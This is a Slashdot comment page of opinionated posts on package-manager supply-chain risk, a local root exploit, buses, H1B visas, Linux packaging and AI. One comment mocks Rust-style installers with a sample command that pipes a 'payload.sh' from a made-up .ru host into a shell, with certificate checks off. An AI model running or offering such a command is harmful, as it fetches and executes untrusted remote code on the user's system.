Forgot your password?
typodupeerror

Comment Re:Note that this is a local exploit (Score 1) 152

I don't disagree at all. It's the #1 reason I decided not to recommend Rust to people... yet. Once they have a core library that supports critical features like encryption, or else has an alternative to crates.io that is curated and people take responsibility for, I'll change my mind.

It's ironic. I'd rather do stuff in PHP. Yes, an awfully large amount of stuff is via composer, but PHP, for the most part, doesn't require you actually use composer stuff, it has most of the core stuff built in. And I hate PHP, and everyone knows why, which makes me wonder why, in 2026, we're still fucking around trying to avoid PHP from equating "" to "0".

Anyway, if I were creating a new language, that'd be the first thing I discourage. Hell, I'd go out of my way to break it if a third party created an uncurated repo that everyone started to use.

Comment Re:Note that this is a local exploit (Score 1) 152

OK, true, there are some jobs available where it isn't a practical requirement. But unfortunately pretty much any job that involves any of the languages covered by the above list generally ends up with the programmer having to use those tools.

(FWIW I resisted as much as I could at my last job, but we still had to use composer to build a plugin because updates to the plugin had stopped being available by more normal routes, and we had too much already dependent upon it. So now, because of a completely unnecessary rug pull, we had to use composer, which we sandboxed. In our case we could justify sandboxing the composer part because the software we wrote had to be PCI compliant, but... I am VERY unhappy with this particular trend in computing. People act as if the entire history of the Internet wasn't security problem after security problem, and the people who OUGHT to know best how to avoid security problems are quite intentionally creating new paths to ensure even they can be exploited.)

Comment Re:Note that this is a local exploit (Score 4, Informative) 152

No, right now it's literally impossible to be a professional in the industry right now and not use something like NPM, Composer, or whatever. Most of us don't have any choice. And likewise, if someone finds an exploit in a common web browser and you don't know this, how the fuck are you supposed to mitigate from it?

Comment Re:Note that this is a local exploit (Score 4, Insightful) 152

It relies upon the ability to run a shell script. So essentially any cascading list of failures can result in this exploit being used. If Chrome has a buffer overflow, you can get root from that. If a library you're using via NPM, Composer, Rubygems, PIP, etc, is ever compromised, you'll be exploitable when you add it to your project, even though you never went near sudo.

Not to mention the fact that it's become ridiculously popular lately to instruct people to install, for example, new programming languages that are totally safe and built with security in mind *cough* Rust, by getting devs to type things like:

$ curl -k https://hackmypc.ru/payload.sh | sh -

(And in Rust's case, they really really want you to do it that way. *SIGH* FFS Rust people! You have a great idea going but you are RUINING it with this type of thing!)

Anyway, the point is you run arbitrary crap more than you think you do, and even if you didn't, things you rely on do sometimes have problems with them.

You need to patch this one now.

Comment Re: Buses, cars, and planes. (Score 1) 199

> Buses perturb traffic

Counterpoint: buses do not perturb traffic. Buses remove large numbers of cars from the road, and occupy roughly the same space as between 1 (minibus) and 4 (bendy-busses) cars do on the road while in motion at 30mph (ie including gaps between vehicles, etc.)

Buses are exceptionally efficient. Are they as fun and comfortable as trains? No, but trains don't have stations within quarter of a mile of your home or your office, and it would be impractical to build a train network that did unless you removed all regular roads and replaced them with a narrow gauge railway system using trains that run at maybe 10-15mph (because stopping distance would be a problem given there's typically quarter-to-half a mile between each stop.)

Do you ride buses out of interest, or are you one of these carosexuals who just complains about public transport and bases your views on 1970s movies about New York City (which didn't even describe NYC in the 1970s particularly well)?

I recall one of the most unhinged experiences of my life being when I described what I had done to a bunch of Americans once when I rode a bus from Hartford airport to the center of Hartford so I could catch a taxi home. It was, as you'd expect, an uneventful ride on a regular city bus, nothing to write home about in terms of comfort, well lit, easy to pay the fare, no problem with a long wait, that just went from A to B without any issues. Had a wide range of people in it, mostly lower income I suspect. But alas, my American friends acted as if I'd decided to walk through the roughest neighborhood in an episode of Starsky and Hutch, wearing a short skirt and heels, for a few hours while yelling "I HAZ MONEY! I'm RICH!!!"

Why? Because they were a bunch of drinkypoos, suburbanites who have literally no experience of buses who'd heard anecdotes about people being shanked or flashed that weren't really anecdotes, and do not really make sense, because if you do any of those things, THERE'S WITNESSES. If a gang tries to terrorize a bus full of passengers, the driver will stop them, and it'll make the fucking news. 99%+ of regular bus passengers will never see anything remotely violent or any actual crime beyond maybe a passenger lighting up a doobie - you know, like you see other drivers do. Except when car drivers do it THEY PUT YOU IN FUCKING DANGER. But you forget all of that. And you forget that drunks are more of a problem when they're driving than when they're passed out in the corner on a bus. You forget that people with anger issues are normally more likely to kill you when they are in a 3,000lb motor vehicle than when they're seething in their seat surrounded by other passengers likely to clock 'em.

But that doesn't stop your imagination going wild. And so my friends went crazy about me telling them I caught the bus from the airport.

Buses are great. Wish I lived in a place that actually had a practical bus system. And you'd wish that too, given they reduce traffic. And provide an option for those days you really would rather just read a book than drive to fucking work.

Comment Re:500 miles? (Score 1) 130

And?

I just checked. The largest supermarket chain in Florida is Publix, and is based on Lakeland. They have most of their products in warehouses and bakeries there that they distribute to other places across the state by truck.

An electric truck fleet would have almost the entire state's Publix supermarkets in range, with the exception of those on the keys and far west on the panhandle (I doubt, to be honest, given Publix's prices, there are many of those.)

They could fix this either by:

- having two additional depots
- having some diesel trucks for those specific routes, but electric for everything else.
- Or... now hold on, this might make your brain explode, they can give the driver a break every "12 hours" (or maybe every eight!), which... come to think of it, might be a good idea anyway.

Is it typical for a large retailer to have a central warehouse in each state and a fleet of trucks that deliver things to and from that warehouse and their stores? I will leave you to determine whether that's a normal thing that a sizable amount of trucks are used for.

And bear in mind, most states are smaller and squarer than Florida.

Comment Re:The US government needs a recruiting arm (Score 1) 92

Then maybe you should vote for competent politicians?

This is one of the big reasons I want to see a Canadian or even British style health system introduced into the US. Not just to ensure everyone has access to it, but so that people enter the ballot box and instead of thinking "I'm going to vote for Party X, like my grandpa did" or "I'm going to vote for Party X, because the only news I watch told me Party Y is evil", they instead say "This guy's a moron, if I fall ill, the AHS puts me on a waiting list, there's no point in writing to this guy, he doesn't even want the AHS, I'll vote for the other one instead, at least she's a doctor."

If people start voting like their lives depend on it, we might actually have a government that's at least as competent as the average European one, rather than one that's crippled and intentionally incompetent like the US.

Comment Re: I Wonder Why? (Score 1) 92

No, H1Bs would have to have the same health benefits, and the requirements for H1Bs is that they need to get the same compensation an American would have in any case even if numerous state and national laws didn't require health insurance contributions for full time workers. If a company advertises a job as $200k plus health insurance, yearly bonuses, and a 401k, and they apply for H1Bs when they're unable to fill the role locally, the H1B worker must be given health insurance, yearly bonuses, and a 401k.

The only way to "save money" by using an H1B is to advertise, say, that you need a full stack dev for $50k in an area where 200k is what they normally earn, then try to convince the authorities that 50k is ACKSURELY the going rate, and that the reason you didn't get any qualified candidates was that Americans are dumb. The problem here is that, at least at first glance, that wasn't what Cloudera was going for.

It's all doubly weird as the only time I've seen employers go all out to get "foreign" workers who they intend to pay at the going rate was... well, me. At the time I was British, and the US subsidiary of my employer needed someone familiar with the UK systems and who knew where the bodies were buried to go over to the US and lead certain projects. Which is totally reasonable, and literally no American would have been qualified because who had 4+ years experience of how the systems developed in the UK worked? Further, by going I was literally creating jobs for Americans because the US office wouldn't have been able to have a software development team without my skills. So we weren't trying to pull a fast one, or trying to underpay anyone, everyone benefited.

But that's ALSO not what's going on here, if I'm reading this correctly, and good immigration lawyers can usually find an above board way to deal with cases like mine. Well, in the 1990s, who the hell knows now after 25+ years of anti-immigrant legislation?

Comment Re: I Wonder Why? (Score 3) 92

People earning $200k don't generally unionize either, and no company with any sanity is going to prevent employees from seeing a doctor.

Not mentioned but worth mentioning: H1B sponsorship is not free, and never has been; and employing people on temporary visas is a problem if you plan to keep skilled talent or your product will need maintaining in the long term.

None of this makes any sense, and I do wonder if, ultimately, this was a snafu and the email address was supposed to work. But... the money'd class right now is so batshit insane it's at least a little plausable.

Comment Re:yes but also no (Score 1) 132

I'm not a fan of Flatpak, but...

1. It's so much more reliable than Snap.
2. It's so much less evil than Snap (the problems with Ubuntu removing applications like Firefox you installed from external repos and replacing them with broken Snap variants was the straw that broke the camel's back in my case and had me move to Debian)
3. It does at least seem to provide a way for some application maintainers to provide certain types of application.

I really wish the "custom repo" thing was more common, maybe with the ability to sandbox metadata with good defaults (ie so adding an application from the repo doesn't imply giving it permission to overwrite libc, libssl, etc...) as having conflicting programs manage what's installed just seems like a recipe for disaster.

Comment Re:Ubuntu is slowly becoming MS Win (Score 1) 132

You act like he didn't win. Unity circa 2010 and GNOME circa now are surprisingly similar. If you used Ubuntu a year before Unity was developed, using the classic GNOME 2 UI, then used Unity when it came out, then fell into a coma, and woke up last week, you could be forgiven for thinking that GNOME 67 (or whatever version they're up to now) was built upon Unity instead of GNOME 2. Unity influenced the design of GNOME far more than anything else, and it's almost certainly all due to pressure from Canonical at the time.

Comment Re:AI is a disease, a virus (Score 1) 132

> Is it AI that is pushing AI?

Nope, Roko's Basilisk remains a thought experiment because AGI is still a long way away if it ever will be a practical technology to begin with.

AI is the logical end point of unrestrained capitalism, whose adherents devalue human work and will do anything to avoid paying people a living wage, even if the alternative is paying conmen a much larger amount of money for something that, ultimately, will fail far more often and produce lower quality results. AI isn't being shoved into everything because normal people want it, it's being shoved into everything precisely because we don't, and have to have it forced upon us if we're going to follow the agenda of those who hoard wealth.

The entire picture is fucked up, and a great argument for, frankly, a good faith version of communism. (Don't tell me the Russian, Chinese, etc, versions weren't good faith, I know that already, hence me saying a good faith version.) Because at this point the survival of us as a species is dependent upon a massive economic change and the removal of those currently in charge from power.

Slashdot Top Deals

The trouble with a lot of self-made men is that they worship their creator.

Working...